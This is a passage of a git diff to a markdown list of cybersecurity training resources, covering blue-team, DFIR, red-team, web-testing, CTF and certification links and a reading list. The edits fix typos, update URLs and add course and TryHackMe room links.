[https://www.udemy.com/](https://www.udemy.com/) - Video learning platform with thousands of courses on various topics. Look for the security related topics and sort bby popularity. +* [https://www.udemy.com/](https://www.udemy.com/) - Video learning platform with thousands of courses on various topics. Look for security-related topics and sort by popularity. * [https://www.pythonstacks.com/blog/post/ethical-hacking-courses-udemy/](https://www.pythonstacks.com/blog/post/ethical-hacking-courses-udemy/) * [https://my.ine.com/](https://my.ine.com/) - The official training platform for [https://elearnsecurity.com/](https://elearnsecurity.com/) and their collection of certifications. * [https://www.cybrary.it/](https://www.cybrary.it/) - Cybrary is the fastest growing, fastest-moving catalog in the industry. By working with an elite community of instructors, experts, and thought leaders, as well as cutting edge hands-on learning providers, we deliver relevant and high-quality content that is accessible anytime, anywhere. @@ -103,7 +107,7 @@ This goes perfectly between Career resources and Training material as cyber cert ### Practical Hands-on and CTFs -These sections have guides on how to practice your offensive an defensive skills in either a hosted CTF/CTF style platform, or even how to build everythingyou need in a local environment. +These sections have guides on how to practice offensive and defensive skills in hosted CTF/CTF-style platforms or by building a local environment. {% content-ref url="practice-lab.md" %} [practice-lab.md](practice-lab.md) @@ -115,15 +119,46 @@ These sections have guides on how to practice your offensive an defensive skills ## **Blue Team Training** -* [Blue Team Labs Online » SECURITY BLUE TEAM](https://securityblue.team/blue-team-labs-online/) - A new CTF style learning platform focused on blue teaming. They offer certification tracks for thier platform and are adding more content daily. +* [Blue Team Labs Online](https://blueteamlabs.online/) - A practical, scenario-based training platform focused on security operations, incident response, and digital forensics. + * [Security Blue Team: Blue Team Labs Online](https://securityblue.team/blue-team-labs-online/) - Certification-oriented blue-team lab track from Security Blue Team. * [Blue Team Training Toolkit (BT3) - Defensive Security Training Software](https://www.bt3.no/) - Blue Team Training Toolkit (BT3) is software for defensive security training, which will bring your network analysis training sessions, incident response drills and red team engagements to a new level. * [OpenSOC - Network Defense Simulation](https://opensoc.io/) - OpenSOC is a free blue team defensive competition that is as close to "the real thing" as it gets. * [https://cyberdefenders.org/](https://cyberdefenders.org/) - CyberDefenders is a training platform focused on the defensive side of cybersecurity, aiming to provide a place for blue teams to practice, validate the skills they have, and acquire the ones they need. * [TryHackMe](https://tryhackme.com/) - Bite sized gamified lessons on various offensive and defensive topics. + * [TryHackMe | MITRE Room](https://tryhackme.com/room/mitre) + * [TryHackMe | Security Operations and Monitoring](https://tryhackme.com/r/path/outline/security-operations-monitoring) * [TryhackMe | Blue Team Path](https://tryhackme.com/path/outline/blueteam) * [TryHackMe | Splunk](https://tryhackme.com/room/bpsplunk) + * [TryHackMe | TShark](https://tryhackme.com/room/tshark) + * [TryHackMe | CC Stego](https://tryhackme.com/room/ccstego) * [Applied Network Defense](https://www.networkdefense.io/library/) - Fantastic sets of courses by some of the best defenders in the industry. * [https://letsdefend.io/](https://letsdefend.io/) - Practical Blue team training. +* [Boss of the SOC (BOTS)](https://github.com/splunk/security-content) - Splunk's public security datasets and CTF-style material for practicing investigations in Splunk. +* [Hack The Box Academy: Introduction to Network Traffic Analysis](https://academy.hackthebox.com/course/preview/intro-to-network-traffic-analysis) - Packet analysis training. +* [Antisyphon: Getting Started with Packet Decoding](https://www.antisyphontraining.com/getting-started-with-packet-decoding-w-chris-brenton/) - Packet decoding training with Chris Brenton. +* [Katie Nickels's Cyber Threat Intelligence Self-Study Plan](https://medium.com/katies-five-cents/a-cyber-threat-intelligence-self-study-plan-part-1-968b5a8daf9a) - Self-study plan for building CTI fundamentals. +* [MITRE ATT&CK CTI Training](https://attack.mitre.org/resources/training/cti/) - Training on applying ATT&CK to cyber threat intelligence. +* [AttackIQ Academy: Introduction to the EASY Framework](https://academy.attackiq.com/courses/introduction-to-the-easy-framework) - Threat intelligence workflow course. +* [SANS FOR578: Cyber Threat Intelligence](https://www.sans.org/cyber-security-courses/cyber-threat-intelligence/) - Professional CTI course. +* [ThreatConnect University](https://training.threatconnect.com/) - ThreatConnect platform and CTI training. +* [Recorded Future Training](https://www.recordedfuture.com/training) - Threat intelligence analyst training. +* [FIRST CTI SIG Resources](https://www.first.org/global/sigs/cti/) - CTI presentations, community materials, and best practices. +* [APTnotes](https://github.com/aptnotes/data) - Public threat intelligence reports for study and analysis practice. +* [Cyber Institute OSINT Challenge](https://courses.thecyberinst.org/courses/osint-challenge) - OSINT practice course. +* [Cyber Institute OSINT Mini](https://courses.thecyberinst.org/courses/osintmini) - Short OSINT training course. +* [Trace Labs Search Party](https://www.tracelabs.org/initiatives/search-party) - Volunteer OSINT event focused on missing persons. +* [Exposing the Invisible Kit](https://kit.exposingtheinvisible.org/en/) - Investigation and verification training. +* [Advocacy Assembly Courses](https://advocacyassembly.org/en/courses/) - Digital research and safety courses. +* [CyberDefenders Intel101](https://cyberdefenders.org/labs/38) - Introductory CTI/OSINT lab. +* [TryHackMe | OhSINT](https://tryhackme.com/room/ohsint) +* [TryHackMe | Sakura Room](https://tryhackme.com/room/sakura) +* [TryHackMe | Searchlight OSINT](https://tryhackme.com/room/searchlightosint) +* [TryHackMe | Google Dorking](https://tryhackme.com/room/googledorking) +* [TryHackMe | Shodan](https://tryhackme.com/room/shodan) +* [TryHackMe | Geolocating Images](https://tryhackme.com/room/geolocatingimages) +* [TryHackMe | WebOSINT](https://tryhackme.com/room/webosint) +* [GeoGuessr](https://www.geoguessr.com/) - Geolocation practice. +* [Hacktoria](https://hacktoria.com/) - OSINT-style investigation games. * [How to start RE/malware analysis](https://hshrzd.wordpress.com/how-to-start/) - Amazing free class on getting started in Reverse Engineering and Malware Analysis. * [https://phishing.livingsecurity.com/](https://phishing.livingsecurity.com/) - Training for analyzing phishing emails and their indicators. * [CNIT 129S: Securing Web Applications](https://samsclass.info/129S/129S\_F16.shtml) @@ -131,13 +166,36 @@ These sections have guides on how to practice your offensive an defensive skills ### DFIR Training +* [DFIR Training](https://www.dfir.training/) - Tools, resources, and training references for DFIR professionals. +* [DFIR Madness](https://dfirmadness.com/) - DFIR practice scenarios and training use cases. +* [Incident Response Challenge](https://incident-response-challenge.com/?utm_source=thn) - IR CTF-style training scenarios. +* [SANS FOR508: Advanced Incident Response, Threat Hunting, and Digital Forensics](https://www.sans.org/cyber-security-courses/advanced-incident-response-threat-hunting-training/) - Professional DFIR course. +* [SANS SIFT Workstation YouTube Series](https://www.youtube.com/playlist?list=PL60DFAE759FCDF36A) +* [Autopsy Training](https://dfir-training.basistech.com/) +* [TryHackMe | Windows Forensics 1](https://tryhackme.com/room/windowsforensics1) +* [TryHackMe | Autopsy](https://tryhackme.com/room/autopsy2ze0) +* [TryHackMe | Malware Researching](https://tryhackme.com/room/malresearching) +* [MemLabs](https://github.com/stuxnet999/MemLabs) - CTF-style memory forensics labs. +* [RPISEC Malware Analysis](https://class.malware.re/) - Malware analysis and reverse engineering course. +* [Malware Unicorn Workshops](https://malwareunicorn.org/#/) - Malware analysis and reverse engineering training. +* [Max Kersten Binary Analysis Course](https://maxkersten.nl/binary-analysis-course/) +* [Reverse Engineering for Beginners](https://www.begin.re/) +* [Understanding Assembly Language](https://beginners.re/main.html) +* [MyTechnoTalent Reverse Engineering Tutorial](https://github.com/mytechnotalent/Reverse-Engineering) - Free reverse engineering tutorial covering x86, x64, ARM, and ARM64. +* [Fumik0 Malware Analysis Tutorials](https://fumalwareanalysis.blogspot.com/p/malware-analysis-tutorials-reverse.html) +* [TryHackMe | Intro to x86-64](https://tryhackme.com/room/introtox8664) +* [TryHackMe | Basic Malware RE](https://tryhackme.com/room/basicmalwarere) +* [TryHackMe | Reverse Engineering](https://tryhackme.com/room/reverseengineering) +* [TryHackMe | Radare2](https://tryhackme.com/room/ccradare2) +* [TryHackMe | Ghidra](https://tryhackme.com/room/ccghidra) +* [InfoSec Institute Malware Analysis and Reverse Engineering](https://www.infosecinstitute.com/skills/learning-paths/malware-analysis-reverse-engineering/) * [Introduction to windows forensics Youtube Series](https://www.youtube.com/playlist?list=PLlv3b9B16ZadqDQH0lTRO4kqn2P1g9Mve) * [https://www.amanhardikar.com/mindmaps/ForensicChallenges.html](https://www.amanhardikar.com/mindmaps/ForensicChallenges.html) * [https://dfrws.org/forensic-challenges/](https://dfrws.org/forensic-challenges/) * [https://cyberdefenders.org/labs/71](https://cyberdefenders.org/labs/71) * [https://cfreds.nist.gov/](https://cfreds.nist.gov/) * [https://securitytrainings.net/security-trainings/](https://securitytrainings.net/security-trainings/) -* [Hackersploit's Malware Analaysis Bootcamp](https://hackersploit.org/malware-analysis-tutorials/) +* [Hackersploit's Malware Analysis Bootcamp](https://hackersploit.org/malware-analysis-tutorials/) * [Digital Forensics Beginner to Expert - Google class by Shannon Brazil](https://classroom.google.com/c/NDQ0MTUzMjU5NzE0) * [https://training.xintra.org/](https://training.xintra.org/) @@ -145,6 +203,26 @@ These sections have guides on how to practice your offensive an defensive skills * [TryHackMe](https://tryhackme.com/) - Bite sized gamified lessons on various offensive and defensive topics. * [https://tryhackme.com/resources/blog/going-from-zero-to-hero](https://tryhackme.com/resources/blog/going-from-zero-to-hero) + * [TryHackMe | Passive Reconnaissance](https://tryhackme.com/room/passiverecon) + * [TryHackMe | Red Team Recon](https://tryhackme.com/room/redteamrecon) + * [TryHackMe | Active Reconnaissance](https://tryhackme.com/room/activerecon) + * [TryHackMe | Nmap](https://tryhackme.com/room/nmap01) + * [TryHackMe | Further Nmap](https://tryhackme.com/room/furthernmap) + * [TryHackMe | RustScan](https://tryhackme.com/room/rustscan) + * [TryHackMe | OpenVAS](https://tryhackme.com/room/openvas) + * [TryHackMe | Sublist3r](https://tryhackme.com/room/rpsublist3r) + * [TryHackMe | Attacktive Directory](https://tryhackme.com/room/attacktivedirectory) + * [TryHackMe | AttackerKB](https://tryhackme.com/room/attackerkb) + * [TryHackMe | Metasploit Introduction](https://tryhackme.com/room/metasploitintro) + * [TryHackMe | Metasploit](https://tryhackme.com/room/rpmetasploit) + * [TryHackMe | PowerShell Empire](https://tryhackme.com/room/rppsempire) + * [TryHackMe | John the Ripper](https://tryhackme.com/room/johntheripper0) + * [TryHackMe | Red Team Fundamentals Module](https://tryhackme.com/module/red-team-fundamentals) + * [TryHackMe | Red Team Fundamentals](https://tryhackme.com/room/redteamfundamentals) + * [TryHackMe | Red Team Engagements](https://tryhackme.com/room/redteamengagements) + * [TryHackMe | Tor for Beginners](https://tryhackme.com/room/torforbeginners) + * [TryHackMe | WiFi Hacking 101](https://tryhackme.com/room/wifihacking101) + * [TryHackMe | Printer Hacking 101](https://tryhackme.com/room/printerhacking101) * [Red Team Ops Course Overview — Zero-Point Security](https://www.zeropointsecurity.co.uk/red-team-ops) * [Metasploit Unleashed - Free Online Ethical Hacking Course](https://www.offensive-security.com/metasploit-unleashed/) * [Practical Ethical Hacking - The Complete Course | Udemy](https://www.udemy.com/course/practical-ethical-hacking/) @@ -159,12 +237,12 @@ These sections have guides on how to practice your offensive an defensive skills ### Web Application Testing Training * [All learning materials | Web Security Academy](https://portswigger.net/web-security/all-materials) - This platform has replaced the Web Application Hackers Handbook as the go to learning resource for web application knowledge. Huge list of attacks, resources, and documentation on how to exploit or defend them. There are also amazingly handy hands on labs that you can complete with the community version of Burp! +* [TryHackMe - Intro to Web Hacking](https://tryhackme.com/module/intro-to-web-hacking) * [Burp Suite Certified Practitioner ](https://portswigger.net/web-security/certification)- The official Burp Suite user certification from PortSwigger * [Bugcrowd University | Bugcrowd](https://www.bugcrowd.com/hackers/bugcrowd-university/) - Resources and training from one of the top Bug Bounty platforms on the market. * [Burp Suite: In Depth Survival Guide | Udemy](https://www.udemy.com/course/burp-suite-in-depth-survival-guide/) - Burp Suite is huge and complex. This course is a fantastic way to start making sense of all the utility in the tool -* [Web Application Penetration Testing Training Course | (ISC)²](https://www.isc2.org/Development/Express-Learning-Courses/Web-Application-Penetration-Testing) +* [Web Application Penetration Testing Training Course | ISC2](https://www.isc2.org/Development/Express-Learning-Courses/Web-Application-Penetration-Testing) * [Cyber Mentor's Intro to Bug Bounty](https://www.youtube.com/watch?v=24fHLWXGS-M) -* [https://www.isc2.org/Development/Express-Learning-Courses/Web-Application-Penetration-Testing](https://www.isc2.org/Development/Express-Learning-Courses/Web-Application-Penetration-Testing) * [https://www.hacksec.in/](https://www.hacksec.in/) * [crAPI](https://github.com/OWASP/crAPI) - **c**ompletely **r**idiculous **API** (crAPI) will help you to understand the ten most critical API security risks. crAPI is vulnerable by design, but you'll be able to safely run it to educate/train yourself. * [https://github.com/jassics/security-study-plan/blob/main/web-pentest-study-plan.md](https://github.com/jassics/security-study-plan/blob/main/web-pentest-study-plan.md) @@ -193,7 +271,7 @@ Check these every day for new tools and tactics for offensive and defensive secu ## **Workshops and Conventions** * [https://infosec-conferences.com/](https://infosec-conferences.com/) - List of all cons over the course of the year, world wide. -* [ConCollector](https://cc.thinkst.com/) - An awesome tool that allows you to parse content from thousands of secrity Cons. +* [ConCollector](https://cc.thinkst.com/) - Tool that parses content from thousands of security conference talks. * [https://wildwesthackinfest.com/training-schedule/](https://wildwesthackinfest.com/training-schedule/) - Keep an eye out for their Pay-What-You-Can SOC Core skills class. Absolute gold for everyone regardless of skill level. * Hacker Summer Camp * [DEF CON](https://defcon.org/) - The one, the only. The biggest hacker conference in the world. @@ -232,7 +310,6 @@ Check these every day for new tools and tactics for offensive and defensive secu * [https://book.hacktricks.xyz/](https://book.hacktricks.xyz/) * [http://0xc0ffee.io/blog/OSCP-Goldmine](http://0xc0ffee.io/blog/OSCP-Goldmine) -* [https://www.sans.org/blog/the-ultimate-list-of-sans-cheat-sheets/](https://www.sans.org/blog/the-ultimate-list-of-sans-cheat-sheets/) * [https://www.explainshell.com/](https://www.explainshell.com/) * [https://isc.sans.edu/links.html](https://isc.sans.edu/links.html) * [https://www.sans.org/blog/the-ultimate-list-of-sans-cheat-sheets/](https://www.sans.org/blog/the-ultimate-list-of-sans-cheat-sheets/) diff --git a/training/books-and-reading.md b/training/books-and-reading.md index 148cdc7..cc3a1ab 100644 --- a/training/books-and-reading.md +++ b/training/books-and-reading.md @@ -7,15 +7,15 @@ * [free-programming-books/free-programming-books.md at master · EbookFoundation/free-programming-books · GitHub](https://github.com/EbookFoundation/free-programming-books/blob/master/books/free-programming-books.md) * [Database of Free Online Computer Science and Programming Books, Textbooks, and Lecture Notes](https://www.freetechbooks.com/) * [O'Reilly Open Books Project](https://www.oreilly.com/openbook/) -* [https://docs.microsoft.com/en-us/archive/blogs/mssmallbiz/large-collection-of-free-microsoft-ebooks-for-you-including-sharepoint-visual-studio-windows-phone-windows-8-office-365-office-2010-sql-server-2012-azure-and-more](https://docs.microsoft.com/en-us/archive/blogs/mssmallbiz/large-collection-of-free-microsoft-ebooks-for-you-including-sharepoint-visual-studio-windows-phone-windows-8-office-365-office-2010-sql-server-2012-azure-and-more) -* [https://docs.microsoft.com/en-us/archive/blogs/mssmallbiz/another-large-collection-of-free-microsoft-ebooks-and-resource-kits-for-you-including-sharepoint-2013-office-2013-office-365-duet-2-0-azure-cloud-windows-phone-lync-dynamics-crm-and-more](https://docs.microsoft.com/en-us/archive/blogs/mssmallbiz/another-large-collection-of-free-microsoft-ebooks-and-resource-kits-for-you-including-sharepoint-2013-office-2013-office-365-duet-2-0-azure-cloud-windows-phone-lync-dynamics-crm-and-more) +* [https://learn.microsoft.com/en-us/archive/blogs/mssmallbiz/large-collection-of-free-microsoft-ebooks-for-you-including-sharepoint-visual-studio-windows-phone-windows-8-office-365-office-2010-sql-server-2012-azure-and-more](https://learn.microsoft.com/en-us/archive/blogs/mssmallbiz/large-collection-of-free-microsoft-ebooks-for-you-including-sharepoint-visual-studio-windows-phone-windows-8-office-365-office-2010-sql-server-2012-azure-and-more) +* [https://learn.microsoft.com/en-us/archive/blogs/mssmallbiz/another-large-collection-of-free-microsoft-ebooks-and-resource-kits-for-you-including-sharepoint-2013-office-2013-office-365-duet-2-0-azure-cloud-windows-phone-lync-dynamics-crm-and-more](https://learn.microsoft.com/en-us/archive/blogs/mssmallbiz/another-large-collection-of-free-microsoft-ebooks-and-resource-kits-for-you-including-sharepoint-2013-office-2013-office-365-duet-2-0-azure-cloud-windows-phone-lync-dynamics-crm-and-more) * [https://leanpub.com/](https://leanpub.com/) ## Essential Desk Reference * RTFM: Red Team Field Manual - Ben Clark * One of the few books that stay on my desk and never go back to the bookshelf. Absolute gold if you are like me and cannot remember every single command ever written. -* BFTM: Blue Team Field Manuel - Ben Clark +* BFTM: Blue Team Field Manual - Ben Clark * Counterpart to the RTFM, this book still provides great context for both offense and defense. * PTFM: Purple Team Field Manual - Tim Bryant * It is essential that attackers and defenders know each others methodology and how to counter it. This book helps put this into perspective. @@ -26,7 +26,7 @@ ## Blue Team/Security Analysis -* BFTM: Blue Team Field Manuel - Ben Clark +* BFTM: Blue Team Field Manual - Ben Clark * Counterpart to the RTFM, this book still provides great context for both offense and defense. * Blue Team Handbook: Incident Response Edition (BTHb: INRE)- Murdoch * Like the above but with more details on processes and documentation for proper incidence response. Must have for anyone in IR or defensive consulting roles. @@ -41,9 +41,9 @@ * Incredible resource for every step of collection, detection, and analysis. Absolutely essential for serious blueteamers. * [https://chrissanders.org/appliednsm/](https://chrissanders.org/appliednsm/) * Threat Hunting with Elastic Stack - Andrew Pease - * While the technical content is focused on Elastic Stack, it is chocked full of threat hunting theory. Well worth it even if you use a different SIEM. + * While the technical content is focused on Elastic Stack, it is full of threat hunting theory. Well worth it even if you use a different SIEM. * Defensive Security Handbook - Brotherston and Berlin - * Covers many tasks and operations needed to sucessfully run a SOC. Also covers many hardening topics for various network devices. + * Covers many tasks and operations needed to successfully run a SOC. Also covers many hardening topics for various network devices. * Security Engineering: A guide to building dependable distributed systems - Anderson * Third Edition - * The Art of Monitoring - J. Turnbull @@ -92,7 +92,7 @@ ## Web -* Web Application Hackers Handbook (Depreciated) - A great resource, but everything that is in it and more has been posted up with labs at [https://portswigger.net/web-security](https://portswigger.net/web-security) +* Web Application Hackers Handbook (deprecated) - A great historical resource, but PortSwigger Web Security Academy has replaced it for maintained labs and current web-app content: [https://portswigger.net/web-security](https://portswigger.net/web-security) * Operator Handbook - Netmux * Burp Suite Essentials - Mahajan * Browser Hackers Handbook - Alcorn @@ -101,13 +101,13 @@ ## Malware Analysis/Reverse Engineering * Reversing: Secrets of Reverse Engineering -* Hacker Dissasembling uncovered - Kaspersky +* Hacker Disassembling Uncovered - Kaspersky ## Social Engineering * Social Engineering - Hadnagy * Influence - Cialdini -* What everbody else is saying - Navarro +* What Everybody Is Saying - Navarro * Human Hacking - Hadnagy ## Windows @@ -119,7 +119,7 @@ * Linux Basics for Hackers * The Linux Command Line 2nd edition * Shellcoder's Handbook - Alcorn -* Violent Python +* Violent Python - TJ O'Connor * Blackhat Python ## Secure Coding/DevSecOps @@ -141,7 +141,7 @@ * Cult of the Dead Cow - Menn * Hackers - Levy * Kingpin - Paulsen -* Little BRother Doctorow +* Little Brother - Cory Doctorow * Playing to the Edge - Hayden * Spies among us - Winkler * Crash Override - Zoe Quinn @@ -163,6 +163,6 @@ By Heather Adkins, Betsy Beyer, Paul Blankinship, Ana Oprea, Piotr Lewandowski, Adam Stubblefield\ [https://landing.google.com/sre/books/](https://landing.google.com/sre/books/) 2. Security Engineering By Ross Anderson - A guide to building dependable distributed systems. (and Ross Anderson is brilliant //OP editorial) [https://www.cl.cam.ac.uk/\~rja14/book.html](https://www.cl.cam.ac.uk/\~rja14/book.html) -3. The Cyber Skill Gap By Vagner Nunes - The Cyber Skill Gap: How To Become A Highly Paid And Sought After Information Security Specialist! (Use COUPON CODE: W4VSPTW8G7 to make it free) [https://payhip.com/b/PdkW](https://payhip.com/b/PdkW) +3. The Cyber Skill Gap by Vagner Nunes - Older promo/coupon references may no longer be valid. [https://payhip.com/b/PdkW](https://payhip.com/b/PdkW) 4. The Beginner’s Guide to Information Security By Limor Elbaz - Offers insight and resources to help readers embark on a career in one of the 21st century’s most important—and potentially lucrative—fields. [https://www.amazon.com/Beginners-Guide-Information-Security-Kickstart-ebook/dp/B01JTDDSAM](https://www.amazon.com/Beginners-Guide-Information-Security-Kickstart-ebook/dp/B01JTDDSAM) 5. Texas A\&M Security Courses The web-based courses are designed to ensure that the privacy, reliability, and integrity of the information systems that power the global economy remain intact and secure. The web-based courses are offered through three discipline-specific tracks: general, non-technical computer users; technical IT professionals; and business managers and professionals. [https://teex.org/program/dhs-cybersecurity/](https://teex.org/program/dhs-cybersecurity/) diff --git a/training/ctf-practice.md b/training/ctf-practice.md index cd14414..ac07ca7 100644 --- a/training/ctf-practice.md +++ b/training/ctf-practice.md @@ -1,6 +1,6 @@ # CTF -Capture The Flag competitions and challenges are the fun part of being a hacker. There isnt any other feeling like compromising a box and getting your name on a score board. They are also a fantastic tool for honing your skills both offensively and defensively. +Capture The Flag competitions and challenges are the fun part of being a hacker. There is nothing quite like compromising a box and getting your name on a scoreboard. They are also a fantastic way to hone offensive and defensive skills in a legal environment. ## **CTF Resources** @@ -8,8 +8,8 @@ Capture The Flag competitions and challenges are the fun part of being a hacker. * [Tools and Resources to Prepare for a Hacker CTF Competition or Challenge](https://resources.infosecinstitute.com/tools-of-trade-and-resources-to-prepare-in-a-hacker-ctf-competition-or-challenge/) * [Shiva108's CTF Notes](https://github.com/Shiva108/CTF-notes) * [CTF Resources](http://ctfs.github.io/resources/) - This repository aims to be an archive of information, tools, and references regarding CTF competitions. -* [Rawsec](https://rawsec.ml/) - Guides and challange writeups -* [home - 0xRick](https://0xrick.github.io/) - One of the best set of challange write ups i have been able to find. Very detailed and easy to read. +* [Rawsec Inventory](https://inventory.raw.pm/) - Guides, tools, and challenge writeups. +* [home - 0xRick](https://0xrick.github.io/) - Detailed challenge writeups. * Bishop Fox Pocket CTF Guide - [https://know.bishopfox.com/hubfs/mkt-coll/Bishop-Fox-Breaking-and-Entering-Pocket-Guide.pdf](https://know.bishopfox.com/hubfs/mkt-coll/Bishop-Fox-Breaking-and-Entering-Pocket-Guide.pdf) * [https://bitsdeep.com/posts/attacking-rsa-for-fun-and-ctf-points-part-1/](https://bitsdeep.com/posts/attacking-rsa-for-fun-and-ctf-points-part-1/) * [https://cheatsheet.haax.fr/cryptography/rsa/](https://cheatsheet.haax.fr/cryptography/rsa/) @@ -21,35 +21,35 @@ Capture The Flag competitions and challenges are the fun part of being a hacker. * [ctf tools](https://github.com/zardus/ctf-tools) - This is a collection of setup scripts to create an install of various security research tool that are super valuable in CTF settings * [CTF.Party](https://noraj.github.io/ctf-party/#/) - A Ruby CLI tool & library to enhance and speed up script/exploit writing for CTF players. * [pwntools](https://github.com/Gallopsled/pwntools) - Pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible. -* [RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) - RSA attack tool (mainly for ctf) - retreive private key from weak public key and/or uncipher data +* [RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) - RSA attack tool for CTFs; retrieves private keys from weak public keys and decrypts data. * [ShellPop](https://github.com/0x00-0x00/shellpop) - Shellpop is all about popping shells. With this tool you can generate easy and sophisticated reverse or bind shell commands to help you during penetration tests. * [Karkinos -](https://hakin9.org/karkinos-penetration-testing-and-hacking-ctfs-swiss-army-knife/) Karkinos is a light-weight 'Swiss Army Knife' for penetration testing and/or hacking CTF's. Currently, Karkinos offers the following: * Encoding/Decoding characters * Encrypting/Decrypting text or files * Reverse shell handling * Cracking and generating hashes -* [pyWhat](https://github.com/bee-san/pyWhat) - Command line to to identify...well anything. -* [https://github.com/hellman/xortool](https://github.com/hellman/xortoolhttps://github.com/tomchop/unxor) -* [https://github.com/tomchop/unxor](https://github.com/hellman/xortoolhttps://github.com/tomchop/unxor) +* [pyWhat](https://github.com/bee-san/pyWhat) - Command-line tool to identify files, hashes, tokens, and other strings. +* [xortool](https://github.com/hellman/xortool) +* [unxor](https://github.com/tomchop/unxor) ## CTF Events * [CTF Time Calendar](https://ctftime.org/calendar/) - Schedule of most of the major Cyber CTF events that are held throughout the year. * [NSA Codebreaker Challenge](https://codebreaker.ltsnet.net/challenge) - Super fun NSA CTF. -* [TryHackMe | 25 Days of Cyber](https://tryhackme.com/christmas) - Holiday themed ctf-a-thon -* [Metasploit community CTF](https://blog.rapid7.com/2020/11/19/announcing-the-2020-december-metasploit-community-ctf/) +* [TryHackMe | 25 Days of Cyber](https://tryhackme.com/christmas) - Seasonal holiday CTF. +* [Metasploit community CTF 2020](https://blog.rapid7.com/2020/11/19/announcing-the-2020-december-metasploit-community-ctf/) - Historical event announcement. * [Holiday Hack Challenge](https://kringlecon.com/) - SANS Christmas themed hack challenges. Super fun. * [SANS Netwars](https://www.sans.org/cyber-ranges/netwars-tournaments/cyber-defense/) - SANS CTF that happens along with each of their in person courses. There is an offensive and defensive version. -* [https://metactf.com/](https://metactf.com/) - Great platform for hosting your ow CTFs. They also will host public ones regularly. +* [MetaCTF](https://metactf.com/) - Platform for hosting your own CTFs and joining public events. ## CTF Sites -* [Hack The Box](https://www.hackthebox.eu/) - Virtual machines that you can connect to in a secure VPN. Pwn it boot to root. +* [Hack The Box](https://www.hackthebox.com/) - Virtual machines and challenges that you can access through a VPN. * [CyberSecLabs](https://www.cyberseclabs.co.uk/profile) - Great platform with free and premium CTF challenges. Some are set up as labs with helpful video walk-throughs * [https://pwnable.kr/](https://pwnable.kr/) - 'pwnable.kr' is a non-commercial [wargame site](https://en.wikipedia.org/wiki/Wargame\_\(hacking\)) which provides various pwn challenges regarding system exploitation. * [Embedded Security CTF](https://microcorruption.com/login) - Grab a debugger and solve fun CTF challenges focused around the code of embedded devices. * [Underthewire](https://underthewire.tech/) - Powershell focused CTF challenges -* [Commandline Challenge](https://cmdchallenge.com/) - CTF Style puzzles focusing on your SLI skills +* [Commandline Challenge](https://cmdchallenge.com/) - CTF-style puzzles focused on CLI skills. * [Root-Me](https://www.root-me.org/?lang=en\&no\_js=oui) - Complete and create cyber CTF challenges with tons of learning resources. * [www.try2hack.nl](http://www.try2hack.nl/) - Classic iterative cyber puzzle * [hackthissite.org/](https://www.hackthissite.org/) - HackThisSite.org is a free, safe and legal training ground for hackers to test and expand their ethical hacking skills with challenges, CTFs, and more. @@ -69,9 +69,9 @@ Capture The Flag competitions and challenges are the fun part of being a hacker. * [Pentester Academy](https://www.pentesteracademy.com/) - High quality learning courses and CTF style labs * [PentesterLab:](https://www.pentesterlab.com/) Learn practical penetration testing techniques with hands on CTF style labs * [Virtual Hacking Labs](https://www.virtualhackinglabs.com/) - Full offensive course with multiple real world vulnerability labs to practice your skills -* [HackTheBox learning Academy](https://academy.hackthebox.eu/dashboard) - A new offering from our favorite CTF platform, HTB now has training modules for teaching different elements of penetration testing. -* [Immersive Labs](https://immersivelabs.online/) - My personal favorite platform with hundreds of different challanges both offensive and defense. -* [CTFlearn](https://ctflearn.com/) - Great community and beginner set of CTF challanges to dip your toe in the water. +* [Hack The Box Academy](https://academy.hackthebox.com/) - Training modules for penetration testing and defensive skills. +* [Immersive Labs](https://immersivelabs.online/) - Platform with offensive and defensive challenges. +* [CTFlearn](https://ctflearn.com/) - Beginner-friendly CTF challenge community. ## CTF Writeups diff --git a/training/cyber-security-certifications/README.md b/training/cyber-security-certifications/README.md index f73421d..1d627b1 100644 --- a/training/cyber-security-certifications/README.md +++ b/training/cyber-security-certifications/README.md @@ -22,7 +22,7 @@ * [https://securityblue.team](https://securityblue.team) * [https://elearnsecurity.com/](https://elearnsecurity.com/) * [https://www.offensive-security.com/courses-and-certifications/](https://www.offensive-security.com/courses-and-certifications/) -* [https://docs.microsoft.com/en-us/learn/certifications/](https://docs.microsoft.com/en-us/learn/certifications/) +* [https://learn.microsoft.com/en-us/credentials/](https://learn.microsoft.com/en-us/credentials/) * [https://aws.amazon.com/certification/](https://aws.amazon.com/certification/) ## General Skills Certifications @@ -69,8 +69,8 @@ ## Cloud -* [CompTIA Cloud +](https://www.comptia.org/certifications/cloud) - Learn the basics skils to deploy, optimize, and protect mission critical applications and data storage. The next step beyond this should be to focus on certs for the cloud platform of your choice. - * [Exam Objectives](https://partners.comptia.org/docs/default-source/resources/comptia-cloud-cv0-003-exam-objectives-\(1-0\))[https://www.comptia.org/certifications/cloud](https://www.comptia.org/certifications/cloud) +* [CompTIA Cloud +](https://www.comptia.org/certifications/cloud) - Learn the basic skills to deploy, optimize, and protect mission-critical applications and data storage. The next step beyond this should be to focus on certs for the cloud platform of your choice. + * [Exam Objectives](https://partners.comptia.org/docs/default-source/resources/comptia-cloud-cv0-003-exam-objectives-\(1-0\)) * [ISC2 CCSP](https://www.isc2.org/Certifications/CCSP) - Advanced Cloud Security certification focusing on technical skills and knowledge to design, manage and secure data, applications and infrastructure in the cloud using best practices, policies and procedures. * [GIAC Cloud Security Essentials (GCLD)](https://www.giac.org/certifications/cloud-security-essentials-gcld/) - The GCLD certification validates a practitioner's ability to implement preventive, detective, and reactionary techniques to defend valuable cloud-based workloads. * [GIAC Cloud Security Automation (GCSA)](https://www.giac.org/certifications/cloud-security-automation-gcsa/) - The GCSA certification covers cloud services and modern DevSecOps practices that are used to build and deploy systems and applications more securely. @@ -98,7 +98,7 @@ * [GIAC Security Operations Certified (GSOC)](https://www.giac.org/certifications/security-operations-certified-gsoc/) - The GSOC certification validates a practitioner’s ability to defend an enterprise using essential blue team incident response tools and techniques. * [GIAC Continuous Monitoring Certification (GMON)](https://www.giac.org/certifications/continuous-monitoring-certification-gmon/) - The GIAC Continuous Monitoring (GMON) certification validates a practitioner's ability to deter intrusions and quickly detect anomalous activity. GMON certification holders have demonstrated knowledge of defensible security architecture, network security monitoring, continuous diagnostics and mitigation, and continuous security monitoring. * [Blue Team Level 1](https://securityblue.team/why-btl1/) - New to the certification scene, Security Blue Team has created a certification aimed at new or aspiring infosec professionals. This certification course will teach: Analysing and responding to phishing 